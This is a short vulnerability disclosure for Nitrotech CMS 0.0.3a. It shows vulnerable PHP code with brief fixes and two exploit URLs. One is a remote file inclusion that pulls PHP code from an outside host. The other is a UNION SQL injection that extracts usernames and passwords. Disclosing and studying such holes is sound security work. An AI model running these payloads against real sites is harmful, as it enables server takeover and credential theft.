Name: Nitrotech 0.0.3a Multiple Remote Vulnerabilities Download: http://sourceforge.net/project/downloading.php?groupname=nitrotech&filename=nitrotech_003a.zip&use_mirror=garr Author: Osirys, thanks to x0r Contact: osirys@live.it Nitrotech cms is vulnerable to multiple vulnerabilities, like remote file inclusion and sql injection. #### Remote File Inclusion Vulnerability The first bug, the remote file inclusion, is caused becouse of an include of a non declarated variable. Let's see the code. File: /[path]/includes/common.php [code] <?php session_start(); $SID = session_id(); include($root . "config.php"); # OTHER CODE [/code] ## EXPLOIT: http://localhost/[path]/includes/common.php?root=http://oursite.it/phpcode.txt?? ## As we can see, it's included a non declareted variable -> $root. To fix this bug, we could just define this variable. #### Sql Injection Vulnerability Note: In the source there could be other sql injection, just found them by yourself if you are intersted ! This vulnerability is caused becouse of a direct use in a query of a get variable. To avoid this vulnerability we could filtered the variable, for example with an int(). File: /[path]/members.php [code] if($page_mode == 'view_user') { $query1 = "SELECT * FROM " . $table['users'] . " WHERE id = '" . $_GET['id'] . "'"; $result1 = mysql_query($query1); # OTHER CODE [/code] ## EXPLOIT: http://localhost/[path]/members.php?id=' union all select 1,concat_ws(0x3a3a,id,username,0x3a3a,password),3,4,5,6,7,8,9,10,11,12 from nitrotech_users/*&mode=view_user& ## As we can see, The 'id' variable comes directly from get. So we can inject our hell code. ####
